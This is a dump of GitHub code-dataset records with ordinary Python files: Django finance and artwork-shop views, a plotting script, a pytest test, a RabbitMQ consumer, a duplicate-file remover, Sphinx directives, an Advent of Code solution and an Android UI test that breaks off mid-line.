aux['cuota_ordin'] = matFin.valor_matricula/len(calendario)\r\n aux['cuota_extra'] = cuota_extra\r\n aux['cantidad'] = len(calendario)\r\n aux['programas'] = matPrograma\r\n aux['ciclo'] = ciclo\r\n programas[matPrograma.id] = aux\r\n datos = {'margintop': calcularMargintop(programas),\r\n 'programas': programas} \r\n return redireccionar('financiero/estudiante/calendario.html', solicitud, datos)\r\n else:\r\n return logout(solicitud)\r\n\r\n#@login_required\r\n#def pazySalvo(solicitud):\r\n# if comprobarPermisos(solicitud):\r\n# programas = {}\r\n# matProgramas = buscarMatriculaProgramasEstudiante(solicitud) \r\n# for matPrograma in matProgramas:\r\n# aux = {} \r\n# matCiclos = MatriculaCiclo.objects.filter(matricula_programa = matPrograma.id)\r\n# for matCiclo in matCiclos:\r\n# ciclo = Ciclo.objects.get(id = matCiclo.ciclo_id) \r\n# insPros = InscripcionPrograma.objects.filter(matricula_programa = matPrograma.id)\r\n# for insPro in insPros:\r\n# matFinans = MatriculaFinanciera.objects.filter(inscripcion_programa = insPro, ciclo = ciclo.id)\r\n# for matFinan in matFinans:\r\n# aux['matFinans'] = matFinan\r\n# letras = LetraPagocts.filter(matricula_financiera = matFinan)\r\n# aux['letras'] = letras\r\n# if len(letras) > 0:\r\n# aux['cantidad'] = len(letras)\r\n# cantidad = 0\r\n# for letra in letras:\r\n# if letra.cancelada == True:\r\n# cantidad = cantidad + 1\r\n# if cantidad == len(letras):\r\n# aux['pazysalvo'] = True \r\n# else:\r\n# aux['pazysalvo'] = False\r\n# else:\r\n# aux['cantidad'] = 0\r\n# aux['programas'] = matPrograma\r\n# aux['ciclo'] = ciclo\r\n# programas[matPrograma.id] = aux\r\n# datos = {'margintop': calcularMargintop(programas),\r\n# 'programas': programas} \r\n# return redireccionar('financiero/estudiante/pazysalvo.html', solicitud, datos)\r\n# else:\r\n# return logout(solicitud)\r\n \r\n#@login_required\r\n#def pazySalvoParcial(solicitud, letra_id):\r\n# if comprobarPermisos(solicitud): \r\n# fecha= datetime.now()\r\n## letra = LetraPagocts.get(id = letra_id)\r\n# datos = {'letra': letra,\r\n# 'hora': fecha.strftime(\"%H:%M %p\"),\r\n# 'fecha': fecha.strftime(\"%d-%m-%Y\"),\r\n## 'estudiante': Estudiante.objects.get(id_usuario = solicitud.user.id),} \r\n## return redireccionar('financiero/estudiante/pazysalvoparcial.html', solicitud, datos)\r\n# else:\r\n# return logout(solicitud)\r\n \r\n@login_required\r\ndef pazySalvoTotal(solicitud, matriculaFinanciera_id):\r\n if comprobarPermisos(solicitud): \r\n fecha= datetime.now() \r\n #id_ciclo = cicloActual()\r\n datos = {'hora': fecha.strftime(\"%H:%M %p\"),\r\n 'fecha': fecha.strftime(\"%d-%m-%Y\"),\r\n #'ciclo': Ciclo.objects.get(id = id_ciclo),\r\n 'estudiante': Estudiante.objects.get(id_usuario = solicitud.user.id),\r\n 'matriculaFinanciera': MatriculaFinanciera.objects.get(id = matriculaFinanciera_id)} \r\n return redireccionar('financiero/estudiante/pazysalvofinal.html', solicitud, datos)\r\n else:\r\n return logout(solicitud)\r\n \r\n##@login_required\r\n#def liquidarNomina(solicitud):\r\n# tmp_ciclo = CicloForm()\r\n# datos = {\r\n# 'formset':tmp_ciclo,\r\n# } \r\n# return redireccionar('admin/financiero/nomina_pago.html', solicitud, datos)\r\n\r\n#@login_required\r\n#def liquidarPago(solicitud, horacatedra_id):\r\n# tmp_horaCatedra = HoraCatedra.objects.get(id = horacatedra_id)\r\n# if tmp_horaCatedra:\r\n# tmp_profesor = Profesor.objects.get(id = tmp_horaCatedra.profesor_id)\r\n# tmp_ciclo = Ciclo.objects.get(id = tmp_horaCatedra.ciclo_id)\r\n# if solicitud.method == 'POST':\r\n# formPago = LiquidarPagoForm(solicitud.POST)\r\n# if formPago.is_valid():\r\n# tmp_formPago = formPago.save(commit=False)\r\n# sum_adelantos = 0.0\r\n# sum_descuentos = 0.0\r\n# sum_liquidado = 0.0\r\n# sum_sesiones = 0\r\n# \r\n# #Sumar los tiempos de sesión esperados por el docente\r\n# sesiones = Sesion.objects.filter(hora_catedra=horacatedra_id, fecha_sesion__range=(tmp_formPago.fecha_inicio, tmp_formPago.fecha_fin))\r\n# for sesion in sesiones:\r\n# sum_sesiones = sum_sesiones + sesion.tiempo_planeado\r\n# sum_liquidado = tmp_horaCatedra.valor_hora*(sum_sesiones/tmp_horaCatedra.tiempo_hora)\r\n# \r\n# #Sumar adelantos realizados al docente\r\n# adelantos = Adelanto.objects.filter(hora_catedra=horacatedra_id, fecha_adelanto__range=(tmp_formPago.fecha_inicio, tmp_formPago.fecha_fin))\r\n# for adelanto in adelantos:\r\n# sum_adelantos = sum_adelantos + adelanto.valor\r\n# \r\n# #Sumar descuentos realizados al valor liquidado del docente\r\n# descuentos = Descuento.objects.filter(hora_catedra=horacatedra_id)\r\n# for descuento in descuentos:\r\n# sum_descuentos = sum_descuentos + (sum_liquidado*(descuento.porcentaje*0.01))\r\n# tmp_formPago.horas_sesiones = sum_sesiones\r\n# tmp_formPago.valor_liquidado = sum_liquidado\r\n# tmp_formPago.valor_adelanto = sum_adelantos\r\n# tmp_formPago.valor_descuento = sum_descuentos\r\n# if tmp_formPago.valor_liquidado == 0:\r\n# solicitud.user.message_set.create(message=\"No se ha realizado la liquidación. No hay valor para liquidar.\")\r\n# return HttpResponseRedirect(\"/admin/financiero/horacatedra/\" + horacatedra_id + \"\")\r\n# else:\r\n# tmp_formPago.save()\r\n# solicitud.user.message_set.create(message=\"La liquidación se ha realizado correctamente.\")\r\n# return HttpResponseRedirect(\"/admin/financiero/horacatedra/\" + horacatedra_id + \"/rpt_imprimirpago/\" + tmp_formPago.recibo)\r\n# else:\r\n# formPago = LiquidarPagoForm()\r\n# datos = {'formpago': formPago,\r\n# 'profesor': tmp_profesor,\r\n# 'ciclo': tmp_ciclo,\r\n# 'sesion': Sesion.objects.filter(hora_catedra = horacatedra_id),\r\n# 'adelanto': Adelanto.objects.filter(hora_catedra = horacatedra_id),\r\n# 'horacatedra': HoraCatedra.objects.get(id = horacatedra_id),\r\n# 'liquidarpago': LiquidarPago.objects.filter(hora_catedra = horacatedra_id),} \r\n# return redireccionar('admin/financiero/liquidar_pago.html', solicitud, datos)\r\n\r\n#===============================================================================\r\n# REPORTES DE APLICACIÓN FINANCIERA\r\n#===============================================================================\r\n\r\n#@login_required\r\n#def reporteCartera(solicitud):\r\n# resp = HttpResponse(mimetype='application/pdf')\r\n# \r\n# tmp_matriculafinanciera = MatriculaFinanciera.objects.filter(paz_y_salvo=False).order_by('inscripcion_programa__matricula_programa__programa')\r\n# if tmp_matriculafinanciera:\r\n# reporte = rpt_ReporteCartera(queryset=tmp_matriculafinanciera)\r\n# reporte.generate_by(PDFGenerator, filename=resp, encode_to=\"utf-8\")\r\n# return resp\r\n# else:\r\n# solicitud.user.message_set.create(message=\"No existe datos para mostrar.\")\r\n# return HttpResponseRedirect(\"/admin/financiero/matriculafinanciera\")\r\n \r\n\r\n#@login_required\r\n#def reporteEstadoCuenta(solicitud, matriculafinanciera_id):\r\n# resp = HttpResponse(mimetype='application/pdf')\r\n# \r\n# tmp_estadoCuenta = MatriculaFinanciera.objects.filter(id=matriculafinanciera_id)\r\n# if tmp_estadoCuenta:\r\n# reporte = rpt_EstadoCuenta(queryset=tmp_estadoCuenta)\r\n# reporte.generate_by(PDFGenerator, filename=resp, encode_to=\"utf-8\")\r\n# return resp\r\n# else:\r\n# solicitud.user.message_set.create(message=\"No existe datos para mostrar.\")\r\n# return HttpResponseRedirect(\"/admin/financiero/matriculafinanciera\")\r\n \r\n\r\n#@login_required\r\n#def reporteLiquidarNomina(solicitud):\r\n# resp = HttpResponse(mimetype='application/pdf')\r\n# tmp_fecha = solicitud.POST['fecha_inicio']\r\n# fecha_inicio = date(int(tmp_fecha[6:10]), int(tmp_fecha[3:5]), int(tmp_fecha[0:2]))\r\n# tmp_fecha = solicitud.POST['fecha_fin']\r\n# fecha_fin = date(int(tmp_fecha[6:10]), int(tmp_fecha[3:5]), int(tmp_fecha[0:2]))\r\n# \r\n# tmp_liquidarPago = LiquidarPago.objects.filter(fecha_liquidacion__range=(fecha_inicio, fecha_fin))\r\n# if tmp_liquidarPago:\r\n# reporte = rpt_LiquidarNominaDocente(queryset=tmp_liquidarPago)\r\n# reporte.generate_by(PDFGenerator, filename=resp, encode_to=\"utf-8\")\r\n# return resp\r\n# else:\r\n# solicitud.user.message_set.create(message=\"No existe datos para mostrar.\")\r\n# return HttpResponseRedirect(\"/admin/financiero/horacatedra/\")\r\n\r\n\r\n#@login_required\r\n#def reporteLiquidarPago(solicitud, horacatedra_id, recibo):\r\n# resp = HttpResponse(mimetype='application/pdf')\r\n# \r\n# tmp_liquidarPago = LiquidarPago.objects.filter(hora_catedra=horacatedra_id, recibo=recibo)\r\n# if tmp_liquidarPago:\r\n# reporte = rpt_LiquidarPagoDocente(queryset=tmp_liquidarPago)\r\n# reporte.generate_by(PDFGenerator, filename=resp, encode_to=\"utf-8\")\r\n# return resp\r\n# else:\r\n# solicitud.user.message_set.create(message=\"No existe datos para mostrar.\")\r\n# return HttpResponseRedirect(\"/admin/financiero/horacatedra/\" + horacatedra_id)\r\n \r\n#@login_required\r\n#def reporteHistorialPago(solicitud, horacatedra_id):\r\n# resp = HttpResponse(mimetype='application/pdf')\r\n# \r\n# tmp_liquidarPago = LiquidarPago.objects.filter(hora_catedra=horacatedra_id)\r\n# if tmp_liquidarPago:\r\n# reporte = rpt_LiquidarPagoDocente(queryset=tmp_liquidarPago)\r\n# reporte.generate_by(PDFGenerator, filename=resp, encode_to=\"utf-8\")\r\n# return resp\r\n# else:\r\n# solicitud.user.message_set.create(message=\"No existe datos para mostrar.\")\r\n# return HttpResponseRedirect(\"/admin/financiero/horacatedra/\" + horacatedra_id)","repo_name":"willgum/arawak-sia","sub_path":"financiero/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17210,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32401693555","text":"'''\r\nCreated on 13 dic. 2016\r\n\r\n@author: Ana\r\n'''\r\n\r\nfrom resultados import Dados#infos, se_limiar, sas_limiar, sarbg_limiar, sarbg_proporcao, sas_proporcao\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\n\r\ndef fazer_plot_1_voluntario(df_proporcoes1 = None, df_proporcoes2 = None, num_voluntario = None, salvar = False, titulo = None):\r\n '''\r\n Funcao que faz o plot dos resultados dos dois sa para cada um dos voluntarios\r\n '''\r\n # Definir nivel intensidades\r\n intensidades = np.arange(0, 90, 10) \r\n \r\n # Fazer plot\r\n if df_proporcoes1 is not None and df_proporcoes2 is not None: \r\n if num_voluntario is None:\r\n for v in df_proporcoes1.index:\r\n plt.figure(figsize=(16,10))\r\n plt.plot(intensidades, df_proporcoes1.loc[v], label = 'sarbg', c = 'gray', lw = 2)\r\n plt.plot(intensidades, df_proporcoes2.loc[v], label = 'sas', c = 'green', lw = 2)\r\n plt.plot(intensidades, [67.5,67.5,67.5,67.5,67.5,67.5,67.5,67.5,67.5], c = 'orange', label = 'p<0.05', linestyle = '--')\r\n plt.plot(intensidades, [72.5, 72.5, 72.5, 72.5, 72.5, 72.5, 72.5, 72.5, 72.5], c = 'red', label = 'p<0.01', linestyle = '--')\r\n plt.xlabel('% de intensidade sobre o limiar dos SA', fontsize = 14)\r\n plt.ylabel('Proporcao de acerto', fontsize = 14)\r\n plt.legend(bbox_to_anchor=(1.01, 1), loc=2, borderaxespad=0., fontsize = 12)\r\n plt.ylim(48,92)\r\n# plt.ylim(min(df_proporcoes1.loc[v].min(), df_proporcoes2.loc[v].min()) - 2, \r\n# max(df_proporcoes1.loc[v].max(), df_proporcoes2.loc[v].max(), 72.5) + 2)\r\n plt.grid()\r\n if titulo is not None:\r\n plt.title(titulo)\r\n else:\r\n plt.title('Resultados voluntario ' + v, fontsize = 17)\r\n if salvar is True:\r\n plt.savefig(v + '_resultados.png')\r\n else:\r\n plt.show()\r\n \r\n\r\n\r\n \r\nif __name__ == '__main__':\r\n \r\n sarbg_proporcao = Dados.sarbg_proporcao\r\n sas_proporcao = Dados.sas_proporcao\r\n sas_limiar = Dados.sas_limiar\r\n sarbg_limiar = Dados.sarbg_limiar\r\n se_limiar = Dados.se_limiar\r\n infos = Dados.infos\r\n \r\n fazer_plot_1_voluntario(sarbg_proporcao, sas_proporcao, salvar= True) \r\n \r\n \r\n ","repo_name":"trabubu/LEB","sub_path":"analise.py","file_name":"analise.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29233772017","text":"import pytest\n\nfrom maps_adv.adv_store.api.schemas.enums import CampaignEventTypeEnum\nfrom maps_adv.adv_store.v2.tests import Any, dt\n\npytestmark = [pytest.mark.asyncio]\n\n\nasync def test_creates_campaign_events(factory, events_dm, con):\n\n timestamp = dt(\"2019-01-01 00:00:00\")\n campaign_1_id = (await factory.create_campaign())[\"id\"]\n campaign_2_id = (await factory.create_campaign())[\"id\"]\n campaign_3_id = (await factory.create_campaign())[\"id\"]\n\n await events_dm.create_events_for_campaigns(\n timestamp=timestamp,\n campaign_ids=[campaign_1_id, campaign_2_id, campaign_3_id],\n event_type=CampaignEventTypeEnum.BUDGET_DECREASED,\n event_data={\"data\": \"some_data\"},\n )\n\n events = await factory.retrieve_campaign_events(campaign_1_id)\n events.extend(await factory.retrieve_campaign_events(campaign_2_id))\n events.extend(await factory.retrieve_campaign_events(campaign_3_id))\n\n assert events == [\n {\n \"id\": Any(int),\n \"timestamp\": timestamp,\n \"campaign_id\": campaign_1_id,\n \"event_type\": \"BUDGET_DECREASED\",\n \"event_data\": {\"data\": \"some_data\"},\n },\n {\n \"id\": Any(int),\n \"timestamp\": timestamp,\n \"campaign_id\": campaign_2_id,\n \"event_type\": \"BUDGET_DECREASED\",\n \"event_data\": {\"data\": \"some_data\"},\n },\n {\n \"id\": Any(int),\n \"timestamp\": timestamp,\n \"campaign_id\": campaign_3_id,\n \"event_type\": \"BUDGET_DECREASED\",\n \"event_data\": {\"data\": \"some_data\"},\n },\n ]\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/data_managers/events/test_create_events_for_campaigns.py","file_name":"test_create_events_for_campaigns.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38434599520","text":"#coding=utf-8\n#Version:python3.5.2\n#Tools:Pycharm 2017.1\nimport pika\n#声明链接\nconn=pika.BlockingConnection(\n pika.ConnectionParameters(host='localhost')\n)\n#声明通道\nchannel=conn.channel()\n#声明exchange类型为fanout\nchannel.exchange_declare(exchange='logs'\n ,type='fanout')\n#排他\nresult=channel.queue_declare(exclusive=True)\n#获取队列名称\nqueue_name=result.method.queue\n#绑定通道\nchannel.queue_bind(\n exchange='logs',\n queue=queue_name\n)\ndef callback(ch,method,properties,body):\n print(body)\nchannel.basic_consume(\n callback,\n queue=queue_name,\n no_ack=True\n)\nprint('Waiting for messages.')\n#启动\nchannel.start_consuming()","repo_name":"13661892653/workspace","sub_path":"pyCode/oldboy_Oper_14/week11/RabbitMQ广播客户端.py","file_name":"RabbitMQ广播客户端.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32171563980","text":"import time\nimport datetime\nimport schedule\nimport hashlib\nimport os\nfrom sys import *\n\ndef FileDuplication(p1,file1):\n \n p=os.path.realpath(p1)+\"\\\\\" \n file=file1 \n\n foexists=os.path.isfile(p+file)\n \n list=[]\n list1=[]\n dict={}\n \n if foexists==True:\n f=p+file\n hasher=hashlib.md5()\n with open(f,\"rb\") as open_file:\n content=open_file.read()\n hasher.update(content)\n org=hasher.hexdigest()\n \n a=os.listdir(path=p)\n for i in a:\n f=p+i\n hasher=hashlib.md5()\n with open(f,\"rb\") as open_file:\n content=open_file.read()\n hasher.update(content)\n h=hasher.hexdigest()\n list.append(i)\n list1.append(h)\n\n for i in range(len(list)):\n dict[list[i]]=list1[i]\n \n del dict[file]\n \n print()\n for keys in dict:\n if org==dict[keys]:\n print(keys,\"was a Duplication of Data and is Deleted\")\n os.remove(p+keys)\n else:\n print(\"No Duplication Found\")\n break\n\n else:\n print(\"\\nINVALID PATH/FILE\")\n\ndef main():\n \n print(\"-----FILE DUPLICATION REMOVER-----\")\n if (len(argv)>3) or (len(argv)<2):\n print(\"INVALID ARGUMENT\")\n print(\"Use -u Flag for Usage\")\n print(\"Use -h Flag for Help\")\n quit()\n \n if len(argv)==2:\n if argv[1]==\"-h\" or argv[1]==\"-H\":\n print(\"HELP : FOLDER_NAME FILE_NAME\")\n elif argv[1]==\"-u\" or argv[1]==\"-U\":\n print(\"USAGE : Used to Delete Duplications of a File.\")\n else:\n print(\"There is no Such Flag\")\n quit()\n \n if len(argv)==3:\n try:\n foldername=argv[1]\n filename=argv[2]\n FileDuplication(foldername,filename)\n except Exception:\n print(\"INVALID ARGUMENT\")\n quit()\n \nif __name__==\"__main__\":\n main()\n","repo_name":"Praashoo7/AUTOMATION","sub_path":"FileHandling/FileDuplication.py","file_name":"FileDuplication.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14694989138","text":"from __future__ import print_function\nfrom __future__ import unicode_literals\nfrom builtins import str\n\nfrom docutils.parsers.rst import directives\n\nfrom atelier import rstgen\n\nfrom .insert_input import InsertInputDirective\n\n\nclass TextImageDirective(InsertInputDirective):\n \"\"\"Defines the :rst:dir:`textimage` directive.\"\"\"\n\n required_arguments = 1\n final_argument_whitespace = True\n option_spec = dict(scale=directives.unchanged)\n #~ optional_arguments = 4\n\n def get_rst(self):\n #~ print 'MainBlogIndexDirective.get_rst()'\n #~ env = self.state.document.settings.env\n #~ print self.arguments, self.options, self.content\n left = '\\n'.join(self.content)\n right = ''\n for arg in self.arguments[0].split():\n right += '.. figure:: %s\\n' % arg\n for i in list(self.options.items()):\n right += \" :%s: %s\\n\" % i\n right += \"\\n %s\\n\\n\" % arg\n #~ right += \"\\n \\n\\n\" % arg\n\n return rstgen.table([\"\", \"\"], [[left, right]], show_headers=False)\n\n\nclass ComplexTableDirective(InsertInputDirective):\n \"\"\"Defines the :rst:dir:`complextable` directive.\"\"\"\n\n required_arguments = 0\n final_argument_whitespace = True\n option_spec = dict(header=directives.flag)\n #~ option_spec = dict(scale=unchanged)\n #~ optional_arguments = 4\n\n def get_rst(self):\n #~ print 'MainBlogIndexDirective.get_rst()'\n #~ env = self.state.document.settings.env\n #~ print self.arguments, self.options, self.content\n cellsep = ''\n rowsep = ''\n if len(self.arguments) > 0:\n cellsep = self.arguments[0]\n if len(self.arguments) > 1:\n rowsep = self.arguments[1]\n\n content = '\\n'.join(self.content)\n rows = []\n colcount = None\n\n for row in content.split(rowsep):\n cells = [cell.strip() for cell in row.split(cellsep)]\n if colcount is None:\n colcount = len(cells)\n else:\n assert colcount == len(cells)\n rows.append(cells)\n\n if 'header' in self.options:\n return rstgen.table(rows[0], rows[1:])\n\n return rstgen.table([\"\"] * colcount, rows, show_headers=False)\n\n\ndef setup(app):\n app.add_directive(str('complextable'), ComplexTableDirective)\n # app.add_directive(str('blognote'), BlogNoteDirective)\n app.add_directive(str('textimage'), TextImageDirective)\n\n","repo_name":"miller2082/lino_polls","sub_path":"lib/python2.7/site-packages/atelier/sphinxconf/complex_tables.py","file_name":"complex_tables.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6511597488","text":"from django.shortcuts import render, redirect\r\nfrom django.views.generic import ListView, DetailView, CreateView, UpdateView\r\nfrom .models import Work, Category, Tag, Creator\r\nfrom django.core.exceptions import PermissionDenied\r\nfrom django.utils.text import slugify\r\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\r\nfrom .forms import CommentForm\r\nfrom django.shortcuts import get_object_or_404\r\nfrom django.db.models import Q\r\n\r\ndef new_comment(request, pk):\r\n if request.user.is_authenticated: # 로그인한 사용자\r\n work = get_object_or_404(Work, pk=pk) # 장고제공함수. 해당하는 pk값 없으면 페이지없다고 알려주는..\r\n if request.method == 'POST' :\r\n comment_form = CommentForm(request.POST)\r\n if comment_form.is_valid() : # 올바르게 작성된 댓글 폼인지 확인\r\n comment = comment_form.save(commit=False)\r\n comment.work = work\r\n comment.author = request.user\r\n comment.save()\r\n return redirect(comment.get_absolute_url())\r\n else :\r\n return redirect(work.get_absolute_url())\r\n else:\r\n raise PermissionDenied\r\n\r\n# Create your views here.\r\n# LoginRequiredMixin : 로그인한 방문자만 접근 가능하도록 하기\r\n# UserPassesTestMixin : 특정 사용자만 접근 허용하기\r\nclass WorkCreate(LoginRequiredMixin,UserPassesTestMixin, CreateView): # 템플릿 : 모델명_form\r\n model = Work\r\n fields = ['title','description','price','head_image','content_image','creator','category','commericial']\r\n\r\n def test_func(self):\r\n return self. request.user.is_superuser or self.request.user.is_staff\r\n\r\n def form_valid(self, form): # form 처리해주는 함수\r\n current_user = self.request.user\r\n if current_user.is_authenticated and (current_user.is_staff or current_user.is_superuser): # 조건중에 하나만 통과해도 ok..\r\n form.instance.author = current_user\r\n response = super(WorkCreate,self).form_valid(form)\r\n tags_str = self.request.POST.get('tags_str') # tags 이름을 가지고있는..태그 안에 있는 데이터가져옴\r\n if tags_str :\r\n tags_str = tags_str.strip() # 불필요한 공백 제거\r\n tags_str = tags_str.replace(',',';') # ,로 구분된걸 ; 으로 변경\r\n tags_list = tags_str.split(';') # 태그 ; 기준으로 잘라서 list화\r\n for t in tags_list :\r\n t = t.strip()\r\n tag, is_tag_created = Tag.objects.get_or_create(name=t)\r\n if is_tag_created : # 새로운 태그가 있으면 태그모델에 추가 및 슬러그만들어줌\r\n tag.slug = slugify(t, allow_unicode=True) # 한글태그,슬러그 받을수잇도록..\r\n tag.save() #변경된 태그내용 저장\r\n self.object.tags.add(tag)\r\n return response\r\n else :\r\n return redirect('/artwork/')\r\n\r\nclass WorkUpdate(LoginRequiredMixin, UpdateView): # 템플릿 : 모델명_form\r\n model = Work\r\n fields = ['title','description','price','head_image','content_image','creator','category','commericial']\r\n\r\n # 자동으로 생성되는 템플릿이름이 create 클래스랑 겹치므로 새롭게 만들어줌\r\n template_name = 'artwork/work_update_form.html'\r\n\r\n def dispatch(self, request, *args, **kwargs):\r\n if request.user.is_authenticated and request.user == self.get_object().author :\r\n return super(WorkUpdate, self). dispatch(request, *args, **kwargs)\r\n else :\r\n raise PermissionDenied\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super(WorkUpdate, self).get_context_data()\r\n if self.object.tags.exists():\r\n tags_str_list = list()\r\n for t in self.object.tags.all():\r\n tags_str_list.append(t.name)\r\n context['tags_str_default'] = '; '.join(tags_str_list)\r\n return context\r\n\r\n def form_valid(self, form): # form 처리해주는 함수\r\n response = super(WorkUpdate, self).form_valid(form)\r\n self.object.tags.clear() # 기존에 있던 태그 지움\r\n tags_str = self.request.POST.get('tags_str') # tags 이름을 가지고있는..태그 안에 있는 데이터가져옴\r\n if tags_str:\r\n tags_str = tags_str.strip() # 불필요한 공백 제거\r\n tags_str = tags_str.replace(',', ';') # ,로 구분된걸 ; 으로 변경\r\n tags_list = tags_str.split(';') # 태그 ; 기준으로 잘라서 list화\r\n for t in tags_list:\r\n t = t.strip()\r\n tag, is_tag_created = Tag.objects.get_or_create(name=t)\r\n if is_tag_created: # 새로운 태그가 있으면 태그모델에 추가 및 슬러그만들어줌\r\n tag.slug = slugify(t, allow_unicode=True) # 한글태그,슬러그 받을수잇도록..\r\n tag.save() # 변경된 태그내용 저장\r\n self.object.tags.add(tag)\r\n return response\r\n\r\nclass WorkList(ListView) : # 작품 목록 페이지\r\n model = Work\r\n ordering = '-pk'\r\n paginate_by = 12\r\n# work_list.html\r\n def get_context_data(self, *, object_list=None, **kwargs):\r\n context = super(WorkList,self).get_context_data()\r\n context['creators'] = Creator.objects.all()\r\n context['categories'] = Category.objects.all()\r\n context['no_category_work_count'] = Work.objects.filter(category=None).count()\r\n return context\r\n\r\nclass WorkDetail(DetailView): # 작품 상세 페이지\r\n model = Work\r\n# work_detail.html\r\n def get_context_data(self, *, object_list=None, **kwargs):\r\n context = super(WorkDetail,self).get_context_data()\r\n context['creators'] = Creator.objects.all()\r\n context['categories'] = Category.objects.all()\r\n context['no_category_work_count'] = Work.objects.filter(category=None).count()\r\n context['comment_form'] = CommentForm\r\n return context\r\n\r\nclass WorkSearch(WorkList) :\r\n paginate_by = None\r\n ordering = '-pk'\r\n\r\n def get_queryset(self):\r\n q = self.kwargs['q']\r\n work_list = Work.objects.filter(\r\n Q(title__contains=q) | Q(tags__name__contains=q) # 두개의 쿼리 통과하면... 전달됨\r\n ).distinct()\r\n return work_list\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super(WorkSearch,self).get_context_data()\r\n q = self.kwargs['q']\r\n context['search_info'] = f'{q} - {self.get_queryset().count()}개의 작품'\r\n\r\n return context\r\n\r\n\r\ndef category_page(request, slug): # 카테고리 페이지\r\n if slug == 'no_category' :\r\n category = '미분류'\r\n work_list = Work.objects.filter(category=None).order_by('-pk')\r\n else :\r\n category = Category.objects.get(slug=slug)\r\n work_list = Work.objects.filter(category=category).order_by('-pk')\r\n return render(request, 'artwork/work_list.html',\r\n {\r\n 'work_list' : work_list,\r\n 'categories' : Category.objects.all(),\r\n 'no_category_work_count' : Work.objects.filter(category=None).count(),\r\n 'category' : category\r\n }\r\n )\r\n\r\ndef tag_page(request, slug):\r\n tag = Tag.objects.get(slug=slug)\r\n work_list = tag.work_set.all().order_by('-pk') #Work.objects.filter(tags=tag)\r\n\r\n return render(request, 'artwork/work_list.html',\r\n {\r\n 'work_list' : work_list,\r\n 'categories' : Category.objects.all(),\r\n 'no_category_work_count' : Work.objects.filter(category=None).count(),\r\n 'tag' : tag\r\n }\r\n )","repo_name":"ygreenb/ArtWorkShop","sub_path":"artwork/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2528127133","text":"with open(\"10/input.txt\", \"r\") as f:\n lines = f.read().splitlines()\n\nopens = \"{[(<\"\npairs = {\n \"(\": \")\",\n \"{\": \"}\",\n \"[\": \"]\",\n \"<\": \">\"\n}\npoints = 0\ncompleted = []\n\nfor line in lines:\n stack = []\n complete = 0\n corrupted = False\n for char in line:\n if char in opens:\n stack.append(char)\n elif char == pairs[stack[-1]]:\n stack.pop()\n else:\n print(\"Error, expected \", pairs[stack[-1]], \" but instead found \", char)\n corrupted = True\n if char == \")\":\n points += 3\n elif char == \"]\":\n points += 57\n elif char == \"}\":\n points += 1197\n elif char == \">\":\n points += 25137\n break\n if not corrupted:\n for i in range(len(stack),0, -1):\n val = stack.pop()\n complete *= 5\n if val == \"(\":\n complete += 1\n elif val == \"[\":\n complete += 2\n elif val == \"{\":\n complete += 3\n elif val == \"<\":\n complete += 4\n completed.append(complete)\n\nprint(\"Total points \", points)\nprint(\"Total completion points \", sorted(completed)[len(completed)//2])","repo_name":"maharr/adventcode21","sub_path":"10/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12998863433","text":"import unittest\nfrom andwalker import MonkeySikuliDevice\n\nCHROME_PACKAGE = 'com.android.chrome'\nPOCKET_PACKAGE = 'com.ideashower.readitlater.pro'\n\nclass ChromePocketTest(unittest.TestCase):\n\n def setUp(self):\n self._device = MonkeySikuliDevice(DEVICE_SERIAL_NUMBER, SCREEN)\n self.reset_pocket()\n self._device.open_app(CHROME_PACKAGE)\n\n def test_chrome_pocket_share(self): \n if not exists(\"chrome_tabs_button_none.png\"): self.close_all_tabs()\n tap(\"chrome_new_tab_button.png\")\n type(\"chrome_address_bar.png\", 'gtac2014')\n tap(\"keyboard_go.png\") # soft keyboard\n tap(Pattern(\"chrome_search_result.png\").targetOffset(-123,-17))\n wait(\"gtac_banner.png\")\n pressMenu()\n tap(\"chrome_share_menu.png\")\n tap(\"chrome_add_to_pocket.png\")\n tap(\"pocket_icon_float.png\") # then Pocket opens\n assert exists(\"pocket_list.png\")\n\n def reset_pocket(self):\n \"\"\"To make sure Pocket is initialized and the list is empty.\"\"\"\n self._device.clear_app(POCKET_PACKAGE)\n self._device.open_app(POCKET_PACKAGE,\n 'com.ideashower.readitlater.activity.AppCacheCheckActivity')\n tap(\"pocket_login.png\")\n type(\"pocket_username.png\",'')\n type(\"pocket_password.png\", '')\n tap(\"pocket_login_yellow.png\")\n wait(\"pocket_welcome.png\")\n for _ in range(3):\n tap(\"pocket_next.png\")\n tap(\"pocket_view_your_list.png\")\n wait(\"pocket_list_is_empty.png\")\n\n def close_all_tabs(self):\n \"\"\"For the sake of demostartion, because the UI for switching tabs\n is not accessible.\n \"\"\"\n tap(Pattern(\"chrome_tabs_button.png\").targetOffset(53,5)) # target offset\n for _ in findAll(\"chrome_tab_close.png\"):\n tap(\"chrome_tab_close.png\")\n assert exists(\"chrome_tabs_button_none.png\")\n\nif __name__ == '__main__':\n 